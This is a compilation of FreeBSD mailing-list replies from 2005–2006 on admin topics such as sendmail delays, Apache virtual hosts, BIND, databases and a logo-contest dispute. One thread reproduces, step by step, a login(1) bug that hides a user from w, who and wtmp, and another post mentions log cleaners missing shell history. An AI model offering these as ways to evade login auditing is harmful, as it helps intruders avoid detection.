Re: fxp: promiscuous mode enabled

2006-04-09 Thread Oliver Leitner
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To add, most kinds of network statistic programs will put the card into
catch all mode...

i would try to watch the system messages, and in case it happens run a
ps to see whats happening... that in case, you have not started any kind
of program that does statistical network analysis or content grabbing...

Derek Ragona schrieb:
 promiscuous mode means the ethernet NIC grabs ALL packets, not just the
 ones addressed to it.  This is typically done by packet sniffers.
 
 -Derek
 
 
 At 09:35 AM 4/9/2006, Thiago Esteves de Oliveira wrote:
 
  Hi,

  I have a problem with my ethernet adapter (fxp)...

  When a run 'dmesg',  look:

  fxp: promiscuous mode enabled
  fxp: promiscuous mode disabled
  fxp: promiscuous mode enabled
  fxp: promiscuous mode disabled

  I didn't find it in fxp's manual...


 What's it ...

 -- 
 
  Thiago Esteves de Oliveira  
 
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Re: Where am I? :)

2006-03-05 Thread Oliver Leitner
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*If* this is a genuine bug in the 7.0 branch of fbsd, it would sound
like a major problem to me...

Have you tried to reach the developers, to tell them about the problem?

Giorgos Keramidas schrieb:
 On 2006-03-04 23:41, Oliver Leitner [EMAIL PROTECTED] wrote:
 
Well, it could have different reasons then:

1. your box has been hacked, and you have a somewhat crippled login or
shell, try to replace that things with clean ones.

2. maybe there is something wrong with memory mapping, eventually diag
your ram, or build a new kernel.

3. its just one of those accidently things that happen every 10 years
once...
 
 
 No it's a genuine bug.  I can reproduce it here too, on FreeBSD
 7.0-CURRENT, using the instructions of Gabor Kovesdan, as you can
 see here:
 
 % [EMAIL PROTECTED]:/home/keramida$ w
 %  3:07AM  up 1 day,  3:12, 3 users, load averages: 0.12, 0.09, 0.03
 % USER TTY  FROM  LOGIN@  IDLE WHAT
 % keramida v2   - 3:07AM - w
 % [EMAIL PROTECTED]:/home/keramida$ tty
 % /dev/ttyv2
 
 Here you can see that I'm logged in on ttyv2 (third virtual console).
 
 % [EMAIL PROTECTED]:/home/keramida$ login some_fake_user
 % Password:
 % Login incorrect
 % login: keramida
 % Last login: Sun Mar  5 03:07:27 on ttyv2
 % Copyright (c) 1992-2006 The FreeBSD Project.
 % Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
 % The Regents of the University of California. All rights reserved.
 %
 % FreeBSD 7.0-CURRENT (FLAME) #0: Fri Mar  3 20:13:02 EET 2006
 % [EMAIL PROTECTED]:/home/keramida$ w
 %  3:07AM  up 1 day,  3:13, 3 users, load averages: 0.08, 0.09, 0.03
 % USER TTY  FROM  LOGIN@  IDLE WHAT
 % keramida v2   - 3:07AM - w
 % [EMAIL PROTECTED]:/home/keramida$
 
 Now I'm logged in again on the same terminal, but in a nested login.
 
 % [EMAIL PROTECTED]:/home/keramida$ exit
 % logout
 % [EMAIL PROTECTED]:/home/keramida$ w
 %  3:07AM  up 1 day,  3:13, 2 users, load averages: 0.08, 0.09, 0.03
 % USER TTY  FROM  LOGIN@  IDLE WHAT
 % [EMAIL PROTECTED]:/home/keramida$
 
 Done.  I'm gone, and my login record has been wiped from wtmp.
 
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Re: Where am I? :)

2006-03-05 Thread Oliver Leitner
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Karol Kwiatkowski schrieb:
 [format recovered]
 
 Oliver Leitner wrote:
 
Karol Kwiatkowski schrieb:

Kövesdán Gábor wrote:


I don't use any log cleaner, I triggered this accidentally. Please read
the whole thread if you're interested or see this:
http://www.freebsd.org/cgi/query-pr.cgi?pr=94060

Gabor Kovesdan

Looks similar to this:

http://lists.freebsd.org/pipermail/freebsd-questions/2004-December/068201.html

Regards,

Karol


Well, it could have different reasons then:

1. your box has been hacked, and you have a somewhat crippled login or
shell, try to replace that things with clean ones.

2. maybe there is something wrong with memory mapping, eventually diag
your ram, or build a new kernel.

3. its just one of those accidently things that happen every 10 years
once...
 
 
 Very unlikely for various reasons:
 - it wasn't me who reported it back then (my post was basically me too)
 - this is a test machine with one user, no direct connection, no
 daemons except secured ssh, rebuilding world every other day
 - the machine was running 5.x back then, now 6.1-PRERELEASE and I can
 reproduce this; in fact I can do that on 6.0-RELEASE, too:
 
 [the same procedure Gabor Kovesdan wrote, only it seems 'login as fake
 user' step is not needed]
 
 % [EMAIL PROTECTED] ssh -p 722 orchid
 % Password:
 % Last login: Sat Mar  4 12:05:43 2006 from blackacidevil.o
 % [...motd skiped...]
 % [EMAIL PROTECTED] uname -sr
 % FreeBSD 6.0-RELEASE-p2
 % [EMAIL PROTECTED] w
 % 11:31AM  up 11 days,  9:24, 1 user, load averages: 0.29, 0.21, 0.17
 % USER TTY  FROM  LOGIN@  IDLE WHAT
 % karolp0   blackacidevil.or 11:31AM - w
 % [EMAIL PROTECTED] login
 % login: karol
 % Last login: Sun Mar  5 11:31:22 from blackacidevil.o
 % [...motd skiped...]
 % [EMAIL PROTECTED] w
 % 11:32AM  up 11 days,  9:25, 1 user, load averages: 0.11, 0.17, 0.16
 % USER TTY  FROM  LOGIN@  IDLE WHAT
 % karolp0   -11:32AM - w
 % [EMAIL PROTECTED] exit
 % [EMAIL PROTECTED] w
 % 11:32AM  up 11 days,  9:25, 0 users, load averages: 0.11, 0.17, 0.16
 % USER TTY  FROM  LOGIN@  IDLE WHAT
 % [EMAIL PROTECTED]
 
 Here, I disappeared from 'w's output. Root can't see me too:
 
 % [EMAIL PROTECTED] su -
 % Password:
 % orchid: Yes, Master? w
 % 11:35AM  up 11 days,  9:28, 0 users, load averages: 0.53, 0.26, 0.19
 % USER TTY  FROM  LOGIN@  IDLE WHAT
 
 Here's what last(1) prints:
 
 % orchid: Yes, Master? last
 % karolttyp0 Sun Mar  5 11:32 - 11:32
  (00:00)
 % karolttyp0192.168.1.66 Sun Mar  5 11:31 - 11:32
  (00:00)
 % [...]
 % orchid: Yes, Master?
 
 
 It seems login(1) simply records user logged out the moment he's
 logged in the second time (sorry, I'm not native English speaker ;) )
 
 The reason I didn't send any PR back then I didn't know if it's a bug
 or feature. Since there was virtually no response from list I assumed
 it's not a bug (at least not a serious one) and I just made a personal
 note: don't use w(1), who(1), last(1) or /var/log/wtmp.
 
 Best regards,
 
 Karol
 

He is still logged in, so id suggest that this is a bug
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Re: Where am I? :)

2006-03-04 Thread Oliver Leitner
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Big one, so you know howto use a log cleaner.

am i am the only one that is not impressed?

btw, did you actually realize, that  log cleaner wont clean the history
file? just a suggestion...

Kövesdán Gábor schrieb:
 Hello,
 
 look at this:
 
 [EMAIL PROTECTED] w
 12:41AM  up 82 days, 10:05, 0 users, load averages: 0.00, 0.00, 0.00
 USER TTY  FROM  LOGIN@  IDLE WHAT
 [EMAIL PROTECTED]
 
 Where am I? :) I don't know exactly how it happened, but I'll
 investigate, I have an idea and I'll report if I find out.
 
 Gabor Kovesdan
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Re: Where am I? :)

2006-03-04 Thread Oliver Leitner
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Yea... Right...

well, however...

log out and log back in, it should start the logs again.

in case you really dropped it accidently, look if the system logging
daemon is running.

Kövesdán Gábor schrieb:
 Oliver Leitner wrote:
 
 Big one, so you know howto use a log cleaner.

 am i am the only one that is not impressed?

 btw, did you actually realize, that  log cleaner wont clean the history
 file? just a suggestion...

  

 I don't use any log cleaner, I triggered this accidentally. Please read
 the whole thread if you're interested or see this:
 http://www.freebsd.org/cgi/query-pr.cgi?pr=94060
 
 Gabor Kovesdan
 
 

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Re: Where am I? :)

2006-03-04 Thread Oliver Leitner
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Well, it could have different reasons then:

1. your box has been hacked, and you have a somewhat crippled login or
shell, try to replace that things with clean ones.

2. maybe there is something wrong with memory mapping, eventually diag
your ram, or build a new kernel.

3. its just one of those accidently things that happen every 10 years
once...

Karol Kwiatkowski schrieb:
 Kövesdán Gábor wrote:
 
I don't use any log cleaner, I triggered this accidentally. Please read
the whole thread if you're interested or see this:
http://www.freebsd.org/cgi/query-pr.cgi?pr=94060

Gabor Kovesdan
 
 
 Looks similar to this:
 
 http://lists.freebsd.org/pipermail/freebsd-questions/2004-December/068201.html
 
 Regards,
 
 Karol
 

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Re: Worried ...

2005-09-14 Thread Oliver Leitner
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well, there is a possibility that he got hacked, its a common tactic to
use a port of another program for a shell of some kind.

but we cannot tell, as long as we dont get further info from you, graham.

informations like: what else does the syslog says, a list of used ports
and the programs running on them, etc...

Greetings
Oliver Leitner
Technical Staff
http://www.shells.at

Rein Kadastik wrote:
 No worries (from the security side). This error means that SSH daemon
 cannot start because the port 22 is already use by another program
 (probably another SSH daemon). So it is likely that you try to start
 several versions of SSH daemon or some program uses port 22 and starts
 before SSH daemon.
 
 --Rein
 
 Graham Bentley wrote:
 
 My security run output reported

 mydomain.co.uk login failures:
 Sep 13 23:43:01 3bsd sshd[2066]: error: Bind to port 22 on 192.168.x.x
 failed: Address already in use.

 I dont remember Puttying in last night
 and this am there is a problme with the WiFi Access Point ?

 Have I been cracked ?
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Re: rw access to ntfs

2005-06-29 Thread Oliver Leitner
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Ben Paley wrote:
 On Wednesday 29 June 2005 16:40, Svein Halvor Halvorsen wrote:
 
* Alex Zbyslaw [2005-06-29 15:07 +0100]


 Perhaps you could ask Microsoft to provide support in Windows for
 accessing any kind of filesystem other than their own. ;-)

http://ffsdrv.sourceforge.net/

Will let you mount a ffs filesystem on Windows.
Not sure how well tested it is, though
 
 
 I'll have a look...
 
 ...but frankly the very idea terrifies me. Let Winxp loose on my fbsd 
 partition?
 
 shudders
 
 Cheers,
 Ben
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has captive been ported to bsd yet?

that might be a solution...


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Re: Still trying to get my site up!

2005-06-27 Thread Oliver Leitner
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Gerard Seibert wrote:
 On Sunday, June 26, 2005 8:47:41 PM John Brooks [EMAIL PROTECTED]
 wrote:
 
 $do you have any kind of firewall? from the outside world port 9545
 $is closed. so either it is being blocked, you are not actually
 $listening on it, or there is no port forwarding on your gateway.
 $
 $run this on the box itself and post the output:
 $  netstat -na | grep LISTEN
 $
 $try to connect from another host on your network:
 $  http://192.168.0.4:9545
 $
 $then try:
 $  http://192.168.0.4:80
 $
 $--
 $John Brooks
 $[EMAIL PROTECTED]
 $
 $ -Original Message-
 $ From: [EMAIL PROTECTED]
 $ [mailto:[EMAIL PROTECTED] Behalf Of Gerard Seibert
 $ Sent: Sunday, June 26, 2005 6:07 PM
 $ To: freebsd-questions
 $ Subject: Still trying to get my site up!
 $
 $
 $ Thanks to several individuals, I have almost gotten my Apache2 server
 $ working. Almost, but not quite.
 $
 $ My ISP blocks port 80; therefore I am using a redirect from DynDNS.org to
 $ redirect to an alias using port 9545.
 $
 $ The 'beerstud.us' redirects to 'www2.beerstud.us:9545'
 $
 $ From my FreeBSD box, if I type: lynx http://beerstud.us, I see the
 $ following message: Using http://www2.beerstud.us:9545/. The connection is
 $ made and the index.htm file is displayed.
 $
 $ However, I am unable to reach this site from any other computer.
 $ Eventually, the request will time out and I receive an error message
 $ telling me that the site is not available.
 $
 $ I am not sure what I am doing wrong at this point. I have posted the
 $ following files if anyone feels ambitious enough to look them over for me.
 $
 $ httpd.conf =  http://www.seibercom.us/FreeBSD/httpd.conf
 $
 $ hosts =   http://www.seibercom.us/FreeBSD/hosts
 $
 $ This is the output from ifconfig -a
 $ net-card.txt  =   http://www.seibercom.us/FreeBSD/net-card.txt
 $
 $ resolv.conf   =   http://www.seibercom.us/FreeBSD/resolv.conf
 $
 $ The 'hosts' file has a pretty good description of my network in it. I
 $ double checked my router, and I believe it is configured
 $ correctly to pass
 $ port 9545 through.
 $
 $ --
 $ Thanks!
 $
 $ Gerard Seibert
 $ [EMAIL PROTECTED]
 $
 
 ** Reply Separator **
 Monday, June 27, 2005 6:48:35 AM
 
 The netstat -na | grep LISTEN command produces this output:
 
 tcp40   0  *.139  *.*  LISTEN
 tcp40   0  *.445  *.*  LISTEN
 tcp40   0  *.901  *.*  LISTEN
 tcp46   0   0  *.9545 *.*  LISTEN
 tcp40   0  127.0.0.1.25   *.*  LISTEN
 
 Both http://192,168.0.4:9545 goes to my site. The http://192.168.0.4:80
 produces this error:
 
 Looking up 192.168.0.4
 Making HTTP connection to 192.168.0.4
 Alert!: Unable to connect to remote host.
 
 lynx: Can't access startfile http://192.168.0.4/
 

Dear Gerard

looks like there is no server running on port 80, may we have a look
into your httpd.conf file?

Greetings
Oliver Leitner
Technical Staff
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Re: Performance

2005-06-06 Thread Oliver Leitner

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Michael Louie Loria wrote:
| Will FreeBSD 5.4 run smoothly in a Compaq 750 Mhz, 64
| MB RAM PC
| installing all of the packages because I want to test
| and try setting up
| different servers?
|
| Thanks,
|
| Michael Louie Loria

Dear Michael

e

thats a pretty heavy machine for an os that runs on 486...

well, depending on which exact servers, software or programs you want to
run on it, its either enough, or it isnt...

if you want more exact calcs, please apply us with some more information...

Greetings
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Technical Staff
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Re: Unable to build PORT

2005-06-04 Thread Oliver Leitner

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Gerard Seibert wrote:
| I am attempting to update this port:
|
| apr-nothr-db4-1.0.1_1
|
| with this port:
|
| apr-nothr-gdbm-db4-1.0.1_1
|
| In the Makefile there is listed a 'CONFLICKS = apr-*'
|
| I have not been able to build this port, since it stops with an error
| code. Should I delete the old port prior to attempting to build this
| newer on? I only tried to build it, not install it. I did not see
| anything in the UPDATING file, although I might have missed it.
|
Dear Gerard Seibert

first of all, whats the exact error output that you get?

secondly, are there any infos about this port in the changelog? (or was
the filename changes, install...) in root port dir...

Greetings
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Re: sendmail

2005-02-15 Thread Oliver Leitner
err, just an idea, youre relaying via smtp from gmail.

isnt that smtp.gmail.com?

just from what ive lately seen, the gmail smtp server is a little bit slow on 
sending

On Tuesday 15 February 2005 11:23, Kim johansen wrote:
 i got a problem with sendmail, when i send a mail it takes
 20-60secound before the mail is queued and another 20-60 secound
 before the mail is sendt.

 Feb 15 11:21:24 srv102 sendmail[40844]: j1FALOJv040844: from=qkim,
 size=44, class=0, nrcpts=1,
 msgid=[EMAIL PROTECTED], [EMAIL PROTECTED]

 Feb 15 11:21:44 srv102 sendmail[40844]: j1FALOJv040844:
 [EMAIL PROTECTED], ctladdr=qkim (1960/1975), delay=00:00:20,
 xdelay=00:00:20, mailer=relay, pri=30044, relay=[127.0.0.1]
 [127.0.0.1], dsn=2.0.0, stat=Sent (j1FALOJ9040845 Message accepted for
 delivery)

 Feb 15 11:22:27 srv102 sm-mta[40857]: j1FALOJ9040845:
 to=[EMAIL PROTECTED], ctladdr=[EMAIL PROTECTED] (1960/1975),
 delay=00:00:43, xdelay=00:00:43, mailer=esmtp, pri=30375,
 relay=gsmtp171.google.com. [64.233.171.27], dsn=2.0.0, stat=Sent (OK
 1108462951)

 where do this delay come from?

 Mvh
 Kim Johansen
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Re: sendmail

2005-02-15 Thread Oliver Leitner
may you please post your sendmail.mc file?

On Tuesday 15 February 2005 12:21, Kim johansen wrote:
 Thats not the problem, it takes 20 secound before sendmail can get the
 message accepted. it is been queued after 20 secounds.

 So a phpscript with mail would be running for 20secounds just to send a
 mail.

 On Tue, 15 Feb 2005 12:10:43 +0100, Oliver Leitner [EMAIL PROTECTED] wrote:
  err, just an idea, youre relaying via smtp from gmail.
 
  isnt that smtp.gmail.com?
 
  just from what ive lately seen, the gmail smtp server is a little bit
  slow on sending
 
  On Tuesday 15 February 2005 11:23, Kim johansen wrote:
   i got a problem with sendmail, when i send a mail it takes
   20-60secound before the mail is queued and another 20-60 secound
   before the mail is sendt.
  
   Feb 15 11:21:24 srv102 sendmail[40844]: j1FALOJv040844: from=qkim,
   size=44, class=0, nrcpts=1,
   msgid=[EMAIL PROTECTED], [EMAIL PROTECTED]
  
   Feb 15 11:21:44 srv102 sendmail[40844]: j1FALOJv040844:
   [EMAIL PROTECTED], ctladdr=qkim (1960/1975), delay=00:00:20,
   xdelay=00:00:20, mailer=relay, pri=30044, relay=[127.0.0.1]
   [127.0.0.1], dsn=2.0.0, stat=Sent (j1FALOJ9040845 Message accepted for
   delivery)
  
   Feb 15 11:22:27 srv102 sm-mta[40857]: j1FALOJ9040845:
   to=[EMAIL PROTECTED], ctladdr=[EMAIL PROTECTED] (1960/1975),
   delay=00:00:43, xdelay=00:00:43, mailer=esmtp, pri=30375,
   relay=gsmtp171.google.com. [64.233.171.27], dsn=2.0.0, stat=Sent (OK
   1108462951)
  
   where do this delay come from?
  
   Mvh
   Kim Johansen
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Re: /tmp on same partition as /

2005-02-11 Thread Oliver Leitner
well, its ok to have /tmp on the same partition as /, as long as other 
security measurements work, for example a tripwire setup and logging user 
actions of any kind, also having an overview over the logs.

as long as these work, and you take care whats going on on the box, it does 
not really matter where /tmp resides.

On Friday 11 February 2005 21:13, Chad Morland wrote:
 I'm setting up a mail server at the momment, one of the things that I
 forgot to do was create /tmp as a separate partiton (/ = 2gb).  There
 will be no user logins to the machine aside from admins and the only
 thing that it will run is qmail acting as a smarthost (vanilla qmail,
 no amavis or anything of the sort.)

 In your opinion is having /tmp on the same partition as / really THAT
 bad in this case? I'm just wondering cause some people have mentioned
 that its a major security risk. Really, I don't think it is for what
 this box is doing.

 -CM
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Re: SQL Questions (MySQL or PostgreSQL?)

2005-02-11 Thread Oliver Leitner
after a lil bit of research on google, ive stumbled across this one, which 
just rounds up what anyone would tell about it.

wrote:http://www.daniweb.com/techtalkforums/showthread.php?t=161

there are prolly other articles that say more, but this one just seems to fit 
your needs, short and to the point.

Greetings
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 Jan Branbergen wrote:
 I would like to install SQL here for my own use, not for any real life
 
 currently, round now for learning.
 
 Right now plan to install MySQL.
 Looking through the ports there is numerous version and some say for
 
 server, some say for client.
 
 Looking for some tips as to what version of SQL and tools to
 install?
 Also wondering if anyone can point me towards documentation in my
 learning efforts?
 
  i would like to suggest PostgreSQL if your objective is learning SQL.
  MySQL only provides a subset.
 
  it is by no means more complicated to install or to get started.
 
  regards,
 
  Jan

 What is the difference between PostgreSQL and MySQL?
  From what I see MySQL seems to be more common.

   Sean
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Re: DNS' bind 9 chrooted by default ?

2005-02-11 Thread Oliver Leitner
i guess you would have to set the bind directory to be jailed in the rc.conf, 
but thats just a guess, i have no dns running on a bsd here.

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On Friday 11 February 2005 23:29, kilim wrote:
 Hello,

 regarding Bind 9, here:

 http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-bind9.htm
l

 its stated that the configuration file resides in
 /var/named/etc/namedb/ and that bind will be chrooted automatically.

 Yet here:

 http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/network-dns.html

 steps are shown for manual chrooting of bind (not version 9)

 So I just want to confirm it with you guys, is bind 9.3 really
 chrooted by default on 5.3 ?

 I mean, don't have to do any of the steps as stated in the second link, for
 chrooting ?

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Re: SQL Questions - migrating MySQL to PostgreSQL?

2005-02-11 Thread Oliver Leitner
well, i havent done that one yet,  but you might want to have a look onto 
this page, that i just discovered via google:

http://www.sitepoint.com/article/site-mysql-postgresql-1

there are many more articles about this one.

i hope this helps you further.

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On Saturday 12 February 2005 01:18, Erik Norgaard wrote:
 Peter Risdon wrote:
  Postgresql is an excellent dbms and well worth a look. But if you're
  starting out, I think mysql is the place to be.

 Ok, since the discussion is up, I have used MySQL for years, no problem
 serves my needs. Yet, I'd like to try out that PostgreSQL so many talks
 about. So, how do I migrate?

 I want to dump my mysql database - not big - and load it all into
 postgresql - of course it's perlable, but maybe there is an easier
 solution. Second, what do I need to change in my php scripts?

 Thanks, Erik

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Re: Please don't change Beastie to another crap logo such asNetBSD!!!

2005-02-10 Thread Oliver Leitner
alot of discussions going on the past 48 hours about this topic, i guess 
there is alot of room for explanations left, that ppls want to hear, why not 
give the ppls that actually stand behind FreeBSD and behind the logo contest 
or whatever it is a chance to tell us what they where thinking about when 
they started the contest?

also id like to know, *is* FreeBSD now coperate, like the previous poster 
tried to point out, or do we still have the bsd license here?

cheers on a late night discussion)
oliver.

On Friday 11 February 2005 01:35, Frank J. Laszlo wrote:
 Anthony Atkielski wrote:
 Frank Laszlo writes:
 Yes, Process colors being 4 plates, but rendered properly, it could be
 less.
 
 All process printing requires four (or six) colors. That's what process
 means.
 
 The current logo as it is shown on freebsd.org, COULD be printed on 2
 plates, as a 2 color job. those colors being black and red.
 
 Possibly.  It would still look odd, though.
 
 This isnt an issue with todays modern digital 4 color presses such as
 the iGen3.
 
 It's an issue with any press.  Digital presses have less trouble with
 registration, but they aren't any better at getting the line frequencies
 higher.  Indeed, normal offset provides higher frequencies.
 
 It has no problem with registration if ran by a qualified
 operator. Now if you are a 80's or 90's printer using an old heidelburg
 2 color press, sure.. registration is very difficult when dealing with
 small print and screens.
 
 What sort of printer would FreeBSD best be able to afford?

 Well, I'm not going into budget issues, but yes you have a point here. I
 am open to quote any print
 job if the FreeBSD Foundation so chooses to do official corporate print
 work. e.g. letterhead, business
 cards, printed manuals, etc.. I would of course give my normal discount
 as I do with any other non-profit
 organizations.

 Furthermore, anyone with experience in the modern printing world knows
 that getting high quality (and affordable) printed artwork on a small
 piece is very simple when using the right equipment.
 
 It doesn't matter what equipment you use.  Small artwork with lots of
 fine detail reduces poorly; if it contains halftones, it reduces even
 more poorly.

 Who says it has to be small? and how small are you talking for print
 work? on a CD? thats not very small IMHO. One
 should be able to attain excellent quality at that size. I consider
 small artwork to be  1in.

 I've done several of these type of jobs on the iGen3 we have here at
 my office. Anyways, this is WAY off from the original post, So I end
 it with that.
 
 Actually it is highly relevant, since a key reason for developing a
 simple logo is to make it easy to display and print.

 Getting back to the point at hand, the beastie is nothing more than a
 mascot. plain and simple. But people
 are talking like there will be no more beastie representing FreeBSD. I
 dont think this is the point.

 Also, whoever started that petition needs to actually get some inside
 information other than a non publicized (sp?)
 anouncement. The true intention of this logo contest is likely to give
 more of a corporate identity to freebsd as a whole.
 I am now done with this thread. Once again, I will end it. (hopefully) :)


 Kind Regards,
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Re: single box handling multiple ips, how?

2005-02-10 Thread Oliver Leitner
On Friday 11 February 2005 02:54, Lowell Gilbert wrote:
 Ken Hawkins [EMAIL PROTECTED] writes:
  I do not know what the 'web1.a.net.' is about, more specifically he
  .net. (dot on the end). i took this for the initial setup that was
  done on the box' initial entry in the /etc/hosts.

 It looks like a DNS map, but that's not what should go in hosts(5).

a view on my /etc/hosts

::1 localhost.localnet localhost
127.0.0.1   localhost.localnet localhost
192.168.xxx.3   thispc.localnet thispc
192.168.xxx.3   thispc.localnet.
192.168.xxx.2   pc02.localnet pc02
192.168.xxx.5   pc03.localnet pc03
192.168.xxx.8   pc04.localnet pc04


  ok what am i doing...
 
  I have apache running on the box and would like to use 3 diffferent
  IP's to try and keep (somewhat separate) the traffic, logging,
  etc. for the Virtual Hosts that are running there.
 
  ultimately I will have;
 
  ip address 1 resolve to - website 1
  ip address 2 resolve to - website 2
  ip address 3 resolve to - website 3
 
  obviously they will bind to the same box but i would like to have them
  to separate ip's to ease some maintenance on the box, redirect traffic
  when needed, blah, blah.
 
  I know that I can Name more than one VirtualHost ie;
  NameVirtualHost ???.???.???.151:80
  NameVirtualHost ???.???.???.152:80
  NameVirtualHost ???.???.???.153:80
 
  and then the normal VirtualHost directive via IP's but I want to make
  sure that the box will answer to those ip's when we flip the DNS
  switch.
 
  am i making sense? did i leave anything beyond the bind directive's out?

 Sure, it makes sense, but you're making it more complicated than you
 need to.  At the very least, you're making the description more
 complicated than you need to.

 Don't worry about virtual hosts on Apache until you have the DNS
 configured for the addresses.  And don't worry about the DNS until you
 have all of the IP addresses configured on the relevant interface.

 So the first step will be configuring the interface.  Verify this by
 pinging each of the addresses from outside.  The next step will be
 configuring the DNS, which you can test by pinging the distinct DNS
 name for each address in turn.  Then once that is working, you can
 configure Apache to handle IP-based virtual hosts for each address.

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Re: single box handling multiple ips, how?

2005-02-10 Thread Oliver Leitner
On Friday 11 February 2005 02:54, Lowell Gilbert wrote:
 Ken Hawkins [EMAIL PROTECTED] writes:
  I do not know what the 'web1.a.net.' is about, more specifically he
  .net. (dot on the end). i took this for the initial setup that was
  done on the box' initial entry in the /etc/hosts.

 It looks like a DNS map, but that's not what should go in hosts(5).

a view on my /etc/hosts

::1 localhost.localnet localhost
127.0.0.1   localhost.localnet localhost
192.168.xxx.3   thispc.localnet thispc
192.168.xxx.3   thispc.localnet.
192.168.xxx.2   pc02.localnet pc02
192.168.xxx.5   pc03.localnet pc03
192.168.xxx.8   pc04.localnet pc04


  ok what am i doing...
 
  I have apache running on the box and would like to use 3 diffferent
  IP's to try and keep (somewhat separate) the traffic, logging,
  etc. for the Virtual Hosts that are running there.
 
  ultimately I will have;
 
  ip address 1 resolve to - website 1
  ip address 2 resolve to - website 2
  ip address 3 resolve to - website 3
 
  obviously they will bind to the same box but i would like to have them
  to separate ip's to ease some maintenance on the box, redirect traffic
  when needed, blah, blah.
 
  I know that I can Name more than one VirtualHost ie;
  NameVirtualHost ???.???.???.151:80
  NameVirtualHost ???.???.???.152:80
  NameVirtualHost ???.???.???.153:80
 
  and then the normal VirtualHost directive via IP's but I want to make
  sure that the box will answer to those ip's when we flip the DNS
  switch.
 
  am i making sense? did i leave anything beyond the bind directive's out?

 Sure, it makes sense, but you're making it more complicated than you
 need to.  At the very least, you're making the description more
 complicated than you need to.

 Don't worry about virtual hosts on Apache until you have the DNS
 configured for the addresses.  And don't worry about the DNS until you
 have all of the IP addresses configured on the relevant interface.

 So the first step will be configuring the interface.  Verify this by
 pinging each of the addresses from outside.  The next step will be
 configuring the DNS, which you can test by pinging the distinct DNS
 name for each address in turn.  Then once that is working, you can
 configure Apache to handle IP-based virtual hosts for each address.

 Good luck.
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Re: Logo Contest

2005-02-10 Thread Oliver Leitner
On Friday 11 February 2005 03:49, Technical Director wrote:
 On Thu, 10 Feb 2005, Mike Hauber wrote:
  weeks to figure out how to use correct grammar in an announcement
  or a responce (and even if the grammar is left _so_ wanting, take
  a look at the archives for this list.  It can't be all _that_
  bad, can it?)


not everyone here has english for mother language, so, before going for 
grammar, id rather keep in mind what this discussion was started with.

 You raise issue with the grammar of tech heads who probably failed english
 as I did, yet you'll not at least accept that the logo on a professional
 scale leaves little to offer to someone trying to get a board room full of
 decision makers to move on it?


just had to drop in.

you guys make a holy war out of a logo contest, then youre better than me.

and for a personal thing of mine, would you please leave terms like decision 
makers out of here, i just have the certain feeling that youre referring to 
the manager type of person, who does not ever go to a serverroom or really 
look at anything important anyways.

of course thats my subjective perspective, you might enlighten me on that one 
if you got some examples of decision makers who actually got an idea about 
how the world is really turning around.

 Everyone is forgetting the obvious here.

 FreeBSD is *either* the fri*ee*ndly little OS, denoted by that 'cute'
 daemon, or it is a competitive alternative to the bird cage boxes that
 Microsoft, Sun, Compaq and the rest of the big group puts their product in.


was that really the question or are that facts, i mean, does FreeBSD really 
want to compete with companies, or do their own thing.

what was it from what ive read... freebsd core dev team is around ~200 
peoples working on the code?

how about giving them a chance to speak up their thoughts for a change?

 We want FreeBSD Java, FreeBSD hardware drivers and all the new hardware to
 go with our system. Yet if these companies see our sites, cds or books
 what do they get first?


do we? for a single person trying to speak plural... you got quite an ego 
there...

 Cute I guess.

 You would think that the core group had removed the entire source tree on
 this and replaced it with KERNEL32.EXE and an assortment of *.dlls for
 some reason here.


are we going on the psychoanalysis now?

 I think it is an interesting competition with little expense surely to
 give good amounts of items to ponder. Maybe some graphix guru out there
 will be able to cross the worlds from the evangelist daemon'ists to the
 reformists?


everyone has his refrain, so you finally made your point, thats good.

 2 cents.

 Rob.

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Re: Logo Contest

2005-02-10 Thread Oliver Leitner
for answering a discussion about a logo contest youre taking a quite wide 
turn, dont you guys think?

On Thursday 10 February 2005 23:34, Anthony Atkielski wrote:
 Garance A Drosihn writes:
  You've never heard of a startup firm?  Perhaps a startup made of
  recent college graduates?  They might not kill for the chance,
  but if they do have some spare time they might find this an
  attractive project to spend some time on.

 People who want to make money don't do freebies.  A very common mistake
 made by artists going into business is giving away work for free, under
 the misconception that this will somehow lead to paying business.  In
 reality, it just leads to requests for more freebies, or to nothing at
 all.

 Thus, serious artists are going to expect to be paid money.

  Uh, the same could be said for programming.  So why are you using
  an open-source operating system which is largely supported by people
  who are NOT paid to work on it?  And who give it away for Free?

 These are people who earn a living by other means.  Nobody who doesn't
 have other sources of income writes software for free.

  Listen, if all we come up with is crappy logo submissions, then
  we won't actually switch to any new logo.  We're just trying to
  see what people *can* come up with, and maybe reward them a little
  bit for making the effort.

 No problem with that.  But don't assume that any professionals (or
 professional-level artists) will jump forward and give you free work for
 the hypothetical exposure.  FreeBSD doesn't have anything remotely
 near the kind of exposure that would be useful for a graphic artist,
 even were he willing to give away his work for free.  Not only is the
 FreeBSD community relatively quite small, but the people who do see the
 work would not be potential customers.

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Re: Logo Contest

2005-02-10 Thread Oliver Leitner
On Friday 11 February 2005 04:15, Technical Director wrote:
  and for a personal thing of mine, would you please leave terms like
  decision makers out of here, i just have the certain feeling that youre
  referring to the manager type of person, who does not ever go to a
  serverroom or really look at anything important anyways.
 
  of course thats my subjective perspective, you might enlighten me on that
  one if you got some examples of decision makers who actually got an
  idea about how the world is really turning around.

 Okay Rob, you can have one FreeBSD box, on your desktop...


im not rob, but thanks, already got one)

 Now it's 12... 12 in production and spreading. The people who make the
 decisions DON'T have a clue, they never experience the trenches as it
 were, and doubtful that they ever will.

 The problem is that Tech is a bowl of jello. Look at the color. 

interresting thought, so its a sweet tasting thing that youd like to drink?
(in case i translated jello right, cause this is not my mother language...)

Look at
 the jiggle... These guys who sign the bottom line and tell us, the
 workers, what to do have the say on what we get to use or not to use.
 (Unless you work in some far of neverland. If so, are they hiring?)


whats neverland? (assides from alice in wonderland story...)
have you read that book, good literature, but youre kinda referring in a 
funny way to it.

 And where do they get their info?


dont ask me, im a grease monkey, i do actually keep things running.

  was that really the question or are that facts, i mean, does FreeBSD
  really want to compete with companies, or do their own thing.

 Do there own thing? It would be interesting how you might quantify that?
 And I am not even encouraging competing with the other companies, but at
 least give a chance to those who have to.


i dont know, thats why i used a vague phrase for it, im actually waiting for 
the answers of the FreeBSD peoples on all of that discussion anyways...

you might ask them first, and not me.

  what was it from what ive read... freebsd core dev team is around ~200
  peoples working on the code?
 
  how about giving them a chance to speak up their thoughts for a change?

